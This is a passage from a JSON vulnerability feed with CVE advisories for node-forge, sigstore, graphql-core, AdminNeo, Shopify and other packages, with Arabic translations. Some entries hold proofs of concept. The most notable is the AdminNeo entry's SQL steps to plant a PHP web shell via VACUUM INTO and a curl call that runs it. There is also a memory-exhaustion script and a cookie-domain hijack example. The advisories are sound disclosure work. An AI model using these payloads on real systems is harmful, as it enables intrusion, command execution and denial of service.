Workarounds None in node-forge itself. Applications that pass an `options.verify` callback to…"},"refs":[["https://github.com/advisories/GHSA-5x38-2vff-x55p","advisory"],["https://github.com/digitalbazaar/forge/security/advisories/GHSA-5x38-2vff-x55p","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-119190","ref"],["https://github.com/digitalbazaar/forge/commit/58c06bc251856b409c30ecb35a93f5f6c9bbc84a","ref"],["https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","ref"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"node-forge"},{"id":"CVE-2026-118763","cvss":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","cwe":"CWE-522","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T23:00:17Z","product":"@sigstore/oci","affected":[["<= 0.7.1","0.7.2"]],"title":{"en":"@sigstore/oci sends the registry Authorization header to a cross-host blob-upload Location","ar":"ثغرة عالية الخطورة في @sigstore/oci"},"summary":{"en":"### Summary @sigstore/oci sends the registry Authorization header to a cross-host blob-upload Location ## Affected versions and vulnerable location - Confirmed on sigstore-js at `3a83271` (current HEAD). - File: `packages/oci/src/registry.ts`. - `signIn()` installs the credential as a DEFAULT header on the shared client: `this.#fetch = this.#fetch.defaults({ headers: { [HEADER_AUTHORIZATION]: 'Basic ' + basicAuth } })` (`:126-128`) or `... 'Bearer ' + token` (`:145-147`), plus `creds.headers` from the Docker config (`:104`). - `uploadBlob()` reads the `Location` response header (`:184`), builds `uploadLocation = new URL(location.startsWith('/') ? this.#baseURL + location : location)` (`:190-192`), and PUTs the blob to it through the same client: `await this.#fetch(uploadLocation.href, { method: 'PUT', body: blob, headers: { [HEADER_CONTENT_TYPE]: ... } })` (`:198`). - There is no check that `uploadLocation`'s host (or scheme) equals the registry host before the PUT is sent. ## Root cause Because `signIn()` sets `Authorization` via `.defaults()`, it is attached to every request the client issues, including requests to a host the client read out of a server response. When a POST to `.../blobs/uploads/` returns an absolute `Location` pointing to a different host, `uploadBlob()` PUTs the blob there with the registry `Authorization` header still attached. If the challenge scheme was `basic`, that header carries the raw registry `username:password`; if bearer, it carries the access token; `creds.headers` custom auth headers ride along too. The library's HTTP layer (`make-fetch-happen` / `minipass-fetch`) strips `Authorization` on cross-host redirects it follows internally, which protects the `HEAD ... { redirect: 'follow' }` at `:167`. It does not help here, because the PUT to the upload `Location` is a fresh, explicit `this.#fetch()` call, not a followed redirect, so the default header is applied unconditionally. This is a residual of GHSA-pf56-329r-95rw / CVE-2026-5989…","ar":"### Summary @sigstore/oci sends the registry Authorization header to a cross-host blob-upload Location ## Affected versions and vulnerable location - Confirmed on sigstore-js at `3a83271` (current HEAD). - File: `packages/oci/src/registry.ts`. - `signIn()` installs the credential as a DEFAULT header on the shared client: `this.#fetch = this.#fetch.defaults({ headers: { [HEADER_AUTHORIZATION]: 'Basic ' + basicAuth } })` (`:126-128`) or `... 'Bearer ' + token` (`:145-147`), plus `creds.headers` from the Docker config (`:104`). - `uploadBlob()` reads the `Location` response header (`:184`), builds `uploadLocation = new URL(location.startsWith('/') ? this.#baseURL + location : location)` (`:190-192`), and PUTs the blob to it through the same client: `await this.#fetch(uploadLocation.href, { method: 'PUT', body: blob, headers: { [HEADER_CONTENT_TYPE]: ... } })` (`:198`). - There is no check that `uploadLocation`'s host (or scheme) equals the registry host before the PUT is sent. ## Root cause Because `signIn()` sets `Authorization` via `.defaults()`, it is attached to every request the client issues, including requests to a host the client read out of a server response. When a POST to `.../blobs/uploads/` returns an absolute `Location` pointing to a different host, `uploadBlob()` PUTs the blob there with the registry `Authorization` header still attached. If the challenge scheme was `basic`, that header carries the raw registry `username:password`; if bearer, it carries the access token; `creds.headers` custom auth headers ride along too. The library's HTTP layer (`make-fetch-happen` / `minipass-fetch`) strips `Authorization` on cross-host redirects it follows internally, which protects the `HEAD ... { redirect: 'follow' }` at `:167`. It does not help here, because the PUT to the upload `Location` is a fresh, explicit `this.#fetch()` call, not a followed redirect, so the default header is applied unconditionally. This is a residual of GHSA-pf56-329r-95rw / CVE-2026-5989…"},"refs":[["https://github.com/advisories/GHSA-j63v-mwhm-56jx","advisory"],["https://github.com/sigstore/sigstore-js/security/advisories/GHSA-j63v-mwhm-56jx","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-118763","ref"],["https://github.com/sigstore/sigstore-js/pull/1762","ref"],["https://github.com/sigstore/sigstore-js/commit/b855f46cfe81f26481c6d3f4b333dfd00f2fd1b1","ref"],["https://github.com/sigstore/sigstore-js/commit/e4ca65c3ab3c675456ab9b0bd04217ceccad3558","ref"],["https://github.com/sigstore/sigstore-js/releases/tag/@sigstore/oci@0.7.2","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"sigstore-oci"},{"id":"CVE-2026-119286","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T22:58:31Z","product":"graphql-core","affected":[[">= 3.3.0a3, < 3.3.1","3.3.1"]],"title":{"en":"GraphQL-core has denial of service via memory leak in aborted validations","ar":"ثغرة عالية الخطورة في graphql-core"},"summary":{"en":"### Summary When a validation was aborted because the document contained more errors than allowed by `max_errors` (100 by default), `validate()` raised a single module-level `ValidationAbortedError` instance. Python appends the frames of every `raise` to the existing `__traceback__` of an exception that is raised again, so every aborted validation extended the traceback of this shared error. That traceback kept the frames, and with them the document, the validation context and all errors of every aborted validation, alive for the lifetime of the process. ### Details Any client can trigger an aborted validation by sending a small document with more than 100 validation errors, e.g. 101 unknown fields. No authentication is required, and since validation runs before execution, depth limiters and complexity analyzers do not prevent it. Each such request permanently retained about 124 KiB on CPython 3.12, without an upper limit, so memory grew with every request until the process was restarted or killed. GraphQL.js uses a shared error object at the same place, but JavaScript errors capture their stack trace only once when they are created, so it is not affected. GraphQL-core 3.2 creates a new error for each aborted validation and is not affected either. ### Proof of concept ```python import gc import tracemalloc from graphql import build_schema, parse, validate schema = build_schema(\"type Query { a: Int }\") document = parse(\"{ \" + \" \".join(f\"f{i}\" for i in range(101)) + \" }\") tracemalloc.start() validate(schema, document) gc.collect() base = tracemalloc.get_traced_memory()[0] for _ in range(200): validate(schema, document) gc.collect() print((tracemalloc.get_traced_memory()[0] - base) // 1024, \"KiB\") ``` With GraphQL-core 3.3.0 on CPython 3.12, the retained memory grows from 147 KiB after one call to about 25 MB after 200 calls. With the fix, it stays constant at about 180 KiB. ### Impact Denial of service through memory exhaustion. A few thousand small requests are enou…","ar":"### Summary When a validation was aborted because the document contained more errors than allowed by `max_errors` (100 by default), `validate()` raised a single module-level `ValidationAbortedError` instance. Python appends the frames of every `raise` to the existing `__traceback__` of an exception that is raised again, so every aborted validation extended the traceback of this shared error. That traceback kept the frames, and with them the document, the validation context and all errors of every aborted validation, alive for the lifetime of the process. ### Details Any client can trigger an aborted validation by sending a small document with more than 100 validation errors, e.g. 101 unknown fields. No authentication is required, and since validation runs before execution, depth limiters and complexity analyzers do not prevent it. Each such request permanently retained about 124 KiB on CPython 3.12, without an upper limit, so memory grew with every request until the process was restarted or killed. GraphQL.js uses a shared error object at the same place, but JavaScript errors capture their stack trace only once when they are created, so it is not affected. GraphQL-core 3.2 creates a new error for each aborted validation and is not affected either. ### Proof of concept ```python import gc import tracemalloc from graphql import build_schema, parse, validate schema = build_schema(\"type Query { a: Int }\") document = parse(\"{ \" + \" \".join(f\"f{i}\" for i in range(101)) + \" }\") tracemalloc.start() validate(schema, document) gc.collect() base = tracemalloc.get_traced_memory()[0] for _ in range(200): validate(schema, document) gc.collect() print((tracemalloc.get_traced_memory()[0] - base) // 1024, \"KiB\") ``` With GraphQL-core 3.3.0 on CPython 3.12, the retained memory grows from 147 KiB after one call to about 25 MB after 200 calls. With the fix, it stays constant at about 180 KiB. ### Impact Denial of service through memory exhaustion. A few thousand small requests are enou…"},"refs":[["https://github.com/advisories/GHSA-mpqx-q82w-9x46","advisory"],["https://github.com/graphql-python/graphql-core/security/advisories/GHSA-mpqx-q82w-9x46","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-119286","ref"],["https://github.com/graphql-python/graphql-core/issues/287","ref"],["https://github.com/graphql-python/graphql-core/pull/288","ref"],["https://github.com/graphql-python/graphql-core/commit/3c319fd9f4b8f6c9db4189520561bf8dd0e70be9","ref"],["https://github.com/graphql-python/graphql-core/releases/tag/v3.3.1","ref"]],"epss":0.0042,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"graphql-core"},{"id":"CVE-2026-96633","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-73","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T22:52:58Z","product":"adminneo-org/adminneo","affected":[["< 5.5.1","5.5.1"]],"title":{"en":"AdminNeo SQLite Database-List Drop Arbitrary File Deletion","ar":"ثغرة عالية الخطورة في adminneo-org/adminneo"},"summary":{"en":"## Summary AdminNeo allows an authenticated SQLite-mode user to delete arbitrary files writable by the PHP process through the database-list drop action. The SQLite driver validates file extensions when creating or renaming databases, but the database-list drop path passes submitted `db[]` values directly to `unlink()`. Originally reported by @slpoiuewalspoid-dotcom in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-6pg3-chwq-wgqc ## Impact An authenticated AdminNeo SQLite user with a valid CSRF token can submit an arbitrary relative file path in the database-list `db[]` field. If the PHP process can delete that path, AdminNeo unlinks it even when the file is not a SQLite database. ## Root Cause The database-list page accepts selected database names from the POST body and calls `drop_databases()`: ```php if ($_POST[\"db\"]) { queries_redirect(substr(ME, 0, -1), lang('Databases have been dropped.'), drop_databases($_POST[\"db\"])); } ``` In SQLite mode, `drop_databases()` attaches an in-memory database and unlinks each submitted path directly: ```php function drop_databases($databases): bool { Connection::get()->close(); // to unlock file, doesn't work in PDO on Windows foreach ($databases as $db) { if (!@unlink($db)) { Connection::get()->setError(lang('File exists.')); return false; } } return true; } ``` The same SQLite driver protects create and rename operations with `check_sqlite_name()`, which requires a `.db`, `.sdb`, or `.sqlite` extension: ```php function check_sqlite_name($name) { // avoid creating PHP files on unsecured servers $extensions = \"db|sdb|sqlite\"; if (!preg_match(\"~^[^\\\\0]*\\\\.($extensions)\\$~\", $name)) { Connection::get()->setError(lang('Please use one of the extensions %s.', str_replace(\"|\", \", \", $extensions))); return false; } return true; } ``` The drop path does not apply an equivalent extension check or bind the submitted path to a known listed SQLite database. ## POC ### 1. Start a complete AdminNeo application Build and s…","ar":"## Summary AdminNeo allows an authenticated SQLite-mode user to delete arbitrary files writable by the PHP process through the database-list drop action. The SQLite driver validates file extensions when creating or renaming databases, but the database-list drop path passes submitted `db[]` values directly to `unlink()`. Originally reported by @slpoiuewalspoid-dotcom in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-6pg3-chwq-wgqc ## Impact An authenticated AdminNeo SQLite user with a valid CSRF token can submit an arbitrary relative file path in the database-list `db[]` field. If the PHP process can delete that path, AdminNeo unlinks it even when the file is not a SQLite database. ## Root Cause The database-list page accepts selected database names from the POST body and calls `drop_databases()`: ```php if ($_POST[\"db\"]) { queries_redirect(substr(ME, 0, -1), lang('Databases have been dropped.'), drop_databases($_POST[\"db\"])); } ``` In SQLite mode, `drop_databases()` attaches an in-memory database and unlinks each submitted path directly: ```php function drop_databases($databases): bool { Connection::get()->close(); // to unlock file, doesn't work in PDO on Windows foreach ($databases as $db) { if (!@unlink($db)) { Connection::get()->setError(lang('File exists.')); return false; } } return true; } ``` The same SQLite driver protects create and rename operations with `check_sqlite_name()`, which requires a `.db`, `.sdb`, or `.sqlite` extension: ```php function check_sqlite_name($name) { // avoid creating PHP files on unsecured servers $extensions = \"db|sdb|sqlite\"; if (!preg_match(\"~^[^\\\\0]*\\\\.($extensions)\\$~\", $name)) { Connection::get()->setError(lang('Please use one of the extensions %s.', str_replace(\"|\", \", \", $extensions))); return false; } return true; } ``` The drop path does not apply an equivalent extension check or bind the submitted path to a known listed SQLite database. ## POC ### 1. Start a complete AdminNeo application Build and s…"},"refs":[["https://github.com/advisories/GHSA-6vfx-w7q3-42gq","advisory"],["https://github.com/adminneo-org/adminneo/security/advisories/GHSA-6vfx-w7q3-42gq","ref"],["https://github.com/adminneo-org/adminneo/commit/26fcef2f32922629751cbea6c0bb593fbf1e957d","ref"],["https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"adminneo-org-adminneo"},{"id":"CVE-2026-96631","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T22:52:47Z","product":"adminneo-org/adminneo","affected":[[">= 4.6.0, < 5.5.1","5.5.1"]],"title":{"en":"AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers","ar":"ثغرة عالية الخطورة في adminneo-org/adminneo"},"summary":{"en":"### Summary AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the `X-Forwarded-Prefix` HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including `Domain`, `Path`, `Secure`, and `SameSite` into all `Set-Cookie` response headers emitted by AdminNeo. This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., `Domain=.evil.com`), causing the victim's browser to send AdminNeo's `neo_sid` (session ID) and `neo_key` (database password encryption key) cookies to the attacker's server on subsequent requests. Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h ### Vulnerable Code **Root cause 1 - Unsanitized header prepended to `REQUEST_URI`** (`admin/include/bootstrap.inc.php`, lines 50–52): ```php if ($_SERVER[\"HTTP_X_FORWARDED_PREFIX\"]) { $_SERVER[\"REQUEST_URI\"] = $_SERVER[\"HTTP_X_FORWARDED_PREFIX\"] . $_SERVER[\"REQUEST_URI\"]; } ``` The client-supplied `X-Forwarded-Prefix` header is concatenated into `REQUEST_URI` with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes). **Root cause 2 - Manual `Set-Cookie `header construction without escaping** (`admin/include/functions.inc.php`, lines 416–424): ```php function cookie(string $name, string $value, int $lifetime = 2592000): void { header(\"Set-Cookie: $name=\" . rawurlencode($value) . ($lifetime ? \"; expires=\" . gmdate(\"D, d M Y H:i:s\", time() + $lifetime) . \" GMT\" : \"\") . \"; path=\" . preg_replace('~\\?.*~', '', $_SERVER[\"REQUEST_URI\"]) . (HTTPS ? \"; secure\" : \"\") . \"; HttpOnly; SameSite=lax\", false); } ``` The tainted `REQUEST_URI` is interpolated directly into the `path=` attribute of the `Set-Cookie` header. Since semicolons are not stripped or es…","ar":"### Summary AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the `X-Forwarded-Prefix` HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including `Domain`, `Path`, `Secure`, and `SameSite` into all `Set-Cookie` response headers emitted by AdminNeo. This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., `Domain=.evil.com`), causing the victim's browser to send AdminNeo's `neo_sid` (session ID) and `neo_key` (database password encryption key) cookies to the attacker's server on subsequent requests. Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h ### Vulnerable Code **Root cause 1 - Unsanitized header prepended to `REQUEST_URI`** (`admin/include/bootstrap.inc.php`, lines 50–52): ```php if ($_SERVER[\"HTTP_X_FORWARDED_PREFIX\"]) { $_SERVER[\"REQUEST_URI\"] = $_SERVER[\"HTTP_X_FORWARDED_PREFIX\"] . $_SERVER[\"REQUEST_URI\"]; } ``` The client-supplied `X-Forwarded-Prefix` header is concatenated into `REQUEST_URI` with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes). **Root cause 2 - Manual `Set-Cookie `header construction without escaping** (`admin/include/functions.inc.php`, lines 416–424): ```php function cookie(string $name, string $value, int $lifetime = 2592000): void { header(\"Set-Cookie: $name=\" . rawurlencode($value) . ($lifetime ? \"; expires=\" . gmdate(\"D, d M Y H:i:s\", time() + $lifetime) . \" GMT\" : \"\") . \"; path=\" . preg_replace('~\\?.*~', '', $_SERVER[\"REQUEST_URI\"]) . (HTTPS ? \"; secure\" : \"\") . \"; HttpOnly; SameSite=lax\", false); } ``` The tainted `REQUEST_URI` is interpolated directly into the `path=` attribute of the `Set-Cookie` header. Since semicolons are not stripped or es…"},"refs":[["https://github.com/advisories/GHSA-79wv-8rh2-9vp2","advisory"],["https://github.com/adminneo-org/adminneo/security/advisories/GHSA-79wv-8rh2-9vp2","ref"],["https://github.com/adminneo-org/adminneo/commit/aa6f2544a8a65cf5e8317f1a902f74181e136d64","ref"],["https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"adminneo-org-adminneo"},{"id":"CVE-2026-96630","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T22:51:37Z","product":"adminneo-org/adminneo","affected":[["< 5.5.1","5.5.1"]],"title":{"en":"AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)","ar":"ثغرة عالية الخطورة في adminneo-org/adminneo"},"summary":{"en":"## Summary Adminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands. Originally reported in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf) ## Root Cause sql.inc.php, line 146: ```php if (DIALECT == \"sqlite\" && preg_match(\"~^$space*+ATTACH\\\\b~i\", $q, $match)) { // blocked } ``` Only `ATTACH` is in the blocklist. `VACUUM INTO` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked. ## Steps To Reproduce ### 1. Login to SQLite 1. Open AdminNeo and select driver: **SQLite** 2. Login and create a new database (e.g., `stage.db`) ### 2. Inject PHP code and write the shell Navigate to **SQL command** and execute: ```sql CREATE TABLE \"<?php system($_GET['c']); ?>\" (i int); VACUUM INTO '/var/www/html/shell.php'; ``` The SQLite file is written to `/var/www/html/shell.php`. The table name containing `<?php` appears as raw bytes in the file. PHP's parser finds and executes it. ### 3. Execute commands ```shell curl \"http://TARGET/shell.php?c=id\" # uid=0(root) gid=0(root) groups=0(root) ``` ## Collaborator Request This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!","ar":"## Summary Adminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands. Originally reported in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf) ## Root Cause sql.inc.php, line 146: ```php if (DIALECT == \"sqlite\" && preg_match(\"~^$space*+ATTACH\\\\b~i\", $q, $match)) { // blocked } ``` Only `ATTACH` is in the blocklist. `VACUUM INTO` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked. ## Steps To Reproduce ### 1. Login to SQLite 1. Open AdminNeo and select driver: **SQLite** 2. Login and create a new database (e.g., `stage.db`) ### 2. Inject PHP code and write the shell Navigate to **SQL command** and execute: ```sql CREATE TABLE \"<?php system($_GET['c']); ?>\" (i int); VACUUM INTO '/var/www/html/shell.php'; ``` The SQLite file is written to `/var/www/html/shell.php`. The table name containing `<?php` appears as raw bytes in the file. PHP's parser finds and executes it. ### 3. Execute commands ```shell curl \"http://TARGET/shell.php?c=id\" # uid=0(root) gid=0(root) groups=0(root) ``` ## Collaborator Request This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!"},"refs":[["https://github.com/advisories/GHSA-q5mp-gfjf-cf2j","advisory"],["https://github.com/adminneo-org/adminneo/security/advisories/GHSA-q5mp-gfjf-cf2j","ref"],["https://github.com/adminneo-org/adminneo/commit/cf45efb3ac34e5e7b699cdc996f6eec2814ccda1","ref"],["https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"adminneo-org-adminneo"},{"id":"CVE-2026-63414","cvss":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T22:49:47Z","product":"Shopify shopify_app","affected":[[">= 22.1.0, < 23.0.3","23.0.3"]],"title":{"en":"Shopify App: Token exchange shop context confusion may allow cross-shop authorization bypass in affected apps","ar":"ثغرة عالية الخطورة في Shopify shopify_app"},"summary":{"en":"Shopify App is a Rails engine for building Shopify applications. From 22.1.0 until 23.0.3, `token-exchange` authenticated controllers can expose a request-derived `shop` context instead of the identity from a verified Shopify ID token or active Shopify session. `current_shopify_domain` can resolve to the sanitized `shop` query parameter, so a request authenticated for one `shop` can cause application code to treat a different requested `shop` as current. Affected applications use `shopify_app` `token-exchange` authentication, accept authenticated requests with a `shop` query parameter, and rely on `current_shopify_domain` or `params[:shop]` for authorization, tenant lookup, stored access-token selection or `shop`-scoped data access. An attacker with a valid Shopify session token for one `shop` can supply another `shop` in that parameter and potentially obtain unauthorized application data or perform `shop`-scoped actions, depending on the application's authorization model. This issue is fixed in version 23.0.3.","ar":"Shopify App is a Rails engine for building Shopify applications. From 22.1.0 until 23.0.3, `token-exchange` authenticated controllers can expose a request-derived `shop` context instead of the identity from a verified Shopify ID token or active Shopify session. `current_shopify_domain` can resolve to the sanitized `shop` query parameter, so a request authenticated for one `shop` can cause application code to treat a different requested `shop` as current. Affected applications use `shopify_app` `token-exchange` authentication, accept authenticated requests with a `shop` query parameter, and rely on `current_shopify_domain` or `params[:shop]` for authorization, tenant lookup, stored access-token selection or `shop`-scoped data access. An attacker with a valid Shopify session token for one `shop` can supply another `shop` in that parameter and potentially obtain unauthorized application data or perform `shop`-scoped actions, depending on the application's authorization model. This issue is fixed in version 23.0.3."},"refs":[["https://github.com/advisories/GHSA-6j52-38f8-qhxr","advisory"],["https://github.com/Shopify/shopify_app/security/advisories/GHSA-6j52-38f8-qhxr","ref"],["https://github.com/Shopify/shopify_app/pull/2081","ref"],["https://github.com/Shopify/shopify_app/commit/a09ccc04b9556cbb31c6d56ed81aeb6b9b6c0756","ref"],["https://github.com/Shopify/shopify_app/releases/tag/v23.0.3","ref"]],"epss":0.0055,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"shopify-shopify-app"},{"id":"CVE-2026-63398","cvss":7.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T22:44:43Z","product":"roostorg coop","affected":[],"title":{"en":"Coop has SAML cross-tenant authentication bypass","ar":"ثغرة في المصادقة في roostorg coop"},"summary":{"en":"Coop is an open source review and moderation tool from ROOST. Prior to 1.0.2, the SAML strategy's verify callback resolved the authenticated user by email alone using `kyselyUserFindByEmail`, without binding the lookup to the organization in `/saml/login/:orgId/callback`. An attacker who administers an organization and controls its SAML IdP signing key can submit an assertion for a victim email to another organization's callback when that target organization has registered the same signing certificate. The assertion verifies against the target certificate, and the email resolves to the target user, creating a session as that user and allowing full cross-tenant account takeover without privileges in the target organization. Exploitation requires the unusual configuration in which the target certificate matches a signing key controlled by the attacker. This issue is fixed in version 1.0.2.","ar":"Coop is an open source review and moderation tool from ROOST. Prior to 1.0.2, the SAML strategy's verify callback resolved the authenticated user by email alone using `kyselyUserFindByEmail`, without binding the lookup to the organization in `/saml/login/:orgId/callback`. An attacker who administers an organization and controls its SAML IdP signing key can submit an assertion for a victim email to another organization's callback when that target organization has registered the same signing certificate. The assertion verifies against the target certificate, and the email resolves to the target user, creating a session as that user and allowing full cross-tenant account takeover without privileges in the target organization. Exploitation requires the unusual configuration in which the target certificate matches a signing key controlled by the attacker. This issue is fixed in version 1.0.2."},"refs":[["https://github.com/roostorg/coop/security/advisories/GHSA-2v93-383c-9fw2","ref"],["https://github.com/roostorg/coop/pull/783","ref"],["https://github.com/roostorg/coop/commit/d1be81b6b33abc1162ee6b9952d4bd1ca761b071","ref"],["https://github.com/roostorg/coop/releases/tag/1.0.2","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"roostorg-coop"},{"id":"CVE-2026-63396","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T22:42:12Z","product":"roostorg coop","affected":[],"title":{"en":"Coop has a data leak via unauthenticated GraphQL Query.allOrgs","ar":"يعاني Coop من تسرب للبيانات عبر استعلام GraphQL Query.allOrgs دون مصادقة"},"summary":{"en":"Coop is an open source review and moderation tool from ROOST. Prior to 1.0.0, an unauthenticated actor can query `Query.allOrgs` through `/api/v1/graphql` on a publicly accessible deployment and obtain data for all organizations, including organization IDs, names, email addresses, website URLs and on-call alert email addresses. The `usersWhoCanReviewEveryQueue` field also exposes reviewing users' IDs, email addresses, first and last names, roles, permissions and creation dates. Running the service on an authenticated private network prevents outside actors from directly querying the GraphQL API. This issue is fixed in version 1.0.0.","ar":"يُعد Coop أداة مراجعة وإشراف مفتوحة المصدر من ROOST. قبل الإصدار 1.0.0، يمكن لمهاجم دون مصادقة الاستعلام عن `Query.allOrgs` من خلال `\\/api\\/v1\\/graphql` على نشر عام الوصول والحصول على بيانات لجميع المنظمات، بما في ذلك معرفات المنظمات، والأسماء، وعناوين البريد الإلكتروني، وعناوين URL لمواقع الويب، وعناوين البريد الإلكتروني لتنبيهات الاستجابة. كما يكشف حقل `usersWhoCanReviewEveryQueue` عن معرفات المستخدمين المراجعين، وعناوين بريدهم الإلكتروني، وأسمائهم الأولى والأخيرة، وأدوارهم، وصلاحياتهم، تواريخ إنشائهم. يمنع تشغيل الخدمة على شبكة خاصة مصادق عليها المهاجمين الخارجيين من الاستعلام مباشرة عن واجهة برمجة تطبيقات GraphQL. تم إصلاح هذه المشكلة في الإصدار 1.0.0."},"refs":[["https://github.com/roostorg/coop/security/advisories/GHSA-gv85-m34f-27g4","ref"],["https://github.com/roostorg/coop/pull/699","ref"],["https://github.com/roostorg/coop/commit/b29242f12f5acca0ac26116c30be9da77c15d93c","ref"],["https://github.com/roostorg/coop/releases/tag/1.0.0","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"roostorg-coop"},{"id":"CVE-2026-63338","cvss":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T22:24:52Z","product":"inex IXP-Manager","affected":[],"title":{"en":"IXP Manager has Broken Object-Level Authorization","ar":"نظام IXP Manager مصاب بثغرة كسر التفويض على مستوى الكائن"},"summary":{"en":"IXP Manager is a full-stack web application for managing Internet Exchange Points. Prior to version 7.3.0, an authenticated user can view and edit a resource belonging to another user without authorization. The API-key edit/update path in `ApiKeyController` selects records by identifier without checking that `user_id` matches the caller, allowing access to another user's API-key record. This issue is fixed in version 7.3.0.","ar":"نظام IXP Manager هو تطبيق ويب متكامل لإدارة نقاط تبادل الإنترنت. قبل الإصدار 7.3.0، يمكن لمهاجم يملك حسابًا مصادقًا عليه عرض وتعديل مورد يخص مستخدماً آخر دون تفويض. مسار تعديل/تحديث مفتاح واجهة برمجة التطبيقات في ApiKeyController يقوم بتحديد السجلات عن طريق المعرف دون التحقق من تطابق user_id مع المُستدعي، مما يسمح بالوصول إلى سجل مفتاح واجهة برمجة التطبيقات الخاص بمستخدم آخر. تم إصلاح هذه المشكلة في الإصدار 